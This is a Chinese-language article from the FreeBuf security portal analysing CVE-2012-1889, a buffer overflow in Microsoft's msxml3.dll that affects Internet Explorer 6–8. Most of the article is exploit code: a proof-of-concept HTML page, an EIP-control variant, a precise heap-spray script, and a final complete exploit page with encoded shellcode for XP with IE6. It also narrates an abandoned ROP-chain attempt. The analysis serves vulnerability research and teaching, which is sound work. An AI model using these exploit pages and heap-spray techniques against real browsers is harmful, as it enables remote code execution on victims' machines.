freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

暴雷漏洞
极安御信安全研究院 2023-04-05 18:46:04 207548
所属地 辽宁省

作者丨黑蛋

一、漏洞简述

暴雷漏洞编号为cve-2012-1889,在2012年曝光的一种微软的XML核心组件漏洞,该漏洞属于缓冲区溢出,根据栈溢出可以控制EIP的位置。该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换(XSLT) XML 路径语言(XPath) 的完全实现、对XML (SAX2) 实现的简单API 的修改,包括与万维网联合会(W3C) 标准和OASIS 测试套件保持更高一致性。影响版本IE6IE8

二、漏洞环境

系统版本

Win7x86Sp1XPSp3

三、漏洞分析

3.1、漏洞验证

首先看POC,代码如下:

<html>
<head>
<title>www.vultop.comtitle
>
head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object>
<script>
document.getElementById("HD").object.definition(0);
script>
body>
html>

双击POC,打开Windbg附加第二个IEg起来,然后发现断在如下地方:



可以看到这里回溯的话可以发现ecx的值来自于栈中,这里对漏洞原理不再赘述。definition是作为属性使用,但是被当做方法传入参数的时候就触发了这个漏洞。

3.2、栈溢出控制EIP

<html>
<head>
<title>www.vultop.comtitle
>
head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object>
<script>
var obj = document.getElementById('HD').object;
var ImgPath = unescape("\u0C0C\u0C0C");
while (ImgPath.length < 0x1000)
ImgPath += ImgPath;
ImgPath = "\\\\1234" + ImgPath;
ImgPath = ImgPath.substr(0, 0x1000-10);

var emtPic = document.createElement("img");
emtPic.src = ImgPath;
emtPic.nameProp;
obj.definition(0);
script>
body>
html>

这里把路径后面全部拷贝为0C0C0C0C,然后返回当前图片名,就可以载入路径。


在没有保护的情况下,通过堆喷射,nop+shellcode就可以成功利用。

3.3、精准喷射

由于DEP的存在,我们需要精准喷射。Windows使用内存分页机制管理内存,内存操作的最小单位为一个内存分页,一个内存分页4kb0x1000)大小(64位系统中最大的内存分页为1G),则申请的一段堆空间中,这段堆空间首地址一定是0x1000的倍数,如果知道一个内存地址相对于其所在内存分页首地址的偏移,那么就可以构造一个内存分页大小的内存块,并在距离内存块首地址指定偏移的位置设置关键数据,然后以该内存块作为的最小单元进行堆喷,从而保证被内存堆喷射覆盖的指定内存地址处存在关键数据
首先我们选择堆喷射:

<html>
<head>
<title>www.vultop.comtitle
>
head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object>
<script>
var shellcode = unescape('%u0c0c%u0c0c'+  
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%uaaaa%uaaaa'     
);
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;  //0x10000,64kb,减去28shellcode长度
var_D = var_C.substring(0, (0x0c0c-0x24)/2);//0x24字节堆块信息
var_D += shellcode;  // 拼接shellcode
var_D += var_C;      // 拼接滑块代码
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;//
一个块1MB
var_H = var_E.substring(0, 0x80000);
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H;
var obj = document.getElementById('HD').object;
var ImgPath = unescape("\u0C0C\u0C0C");
while (ImgPath.length < 0x1000)
ImgPath += ImgPath;
ImgPath = "\\\\1234" + ImgPath;
ImgPath = ImgPath.substr(0, 0x1000-10);

var emtPic = document.createElement("img");
emtPic.src = ImgPath;
emtPic.nameProp;
obj.definition(0);
script
>
body>
html>

这里为了更好的观察,我用了x32dbg,,代码注释都在上面,放图,可以看到已经实现精准喷射,当然喷射有风险,随缘喷,多喷几次:

顺带看看内存分配情况:

3.4、构造ROP链(失败)

由于ASLR保护的存在,我们构造ROP链首先找到未开启ASLR保护的模块:



resource.dllsogoupy.iem,用个der,俩个用不了。放弃了,这个漏洞就这么着吧

直接甩xp+IE6可以跑的EXP

直接使用滑板指令+shellcode大面积喷射实现,没有任何保护。

<html>
<head>
<title>www.vultop.comtitle
>
head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='HD'>object>
<script>
var mPayload = unescape("\u0C0C\u0C0C");
while(mPayload.length < 0x1000)
mPayload += mPayload;
var mSize=0x40000;
var shellcode=unescape("\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432"+
"\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573"+
"\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D"+
"\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06"+
"\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB"+
"\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857"); 
mPayload+=shellcode;
while(mPayload.length <= mSize)
mPayload += mPayload;
//mPayload = mPayload.substring(2,mSize-0x21);
mPayload = mPayload.substring(0,mSize);
//alert(mPayload.length.toString(16));
var mArray= new Array();
for (var i = 0; i < 800; i++)
{
mArray[i] = mPayload.substr(0,mPayload.length);
}



var obj = document.getElementById('HD').object;
var ImgPath = unescape("\u0C0C\u0C0C");
while (ImgPath.length < 0x1000)
ImgPath += ImgPath;
ImgPath = "\\\\1234" + ImgPath;
ImgPath = ImgPath.substr(0, 0x1000-10);

var emtPic = document.createElement("img");
emtPic.src = ImgPath;
emtPic.nameProp;
obj.definition(0);
script>
body>
html>



# 漏洞 # 黑客 # 网络安全 # 漏洞分析 # CTF
本文为 极安御信安全研究院 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
极安御信安全研究院 LV.8
QQ交流群:434238324 官网:http://www.vultop.com/
  • 140 文章数
  • 33 关注者
0ctf babyheap
2023-09-07
世界级黑客丨电脑犯罪界的汉尼拔
2023-09-07
新PWN手必备环境(附详细步骤)
2023-08-31
文章目录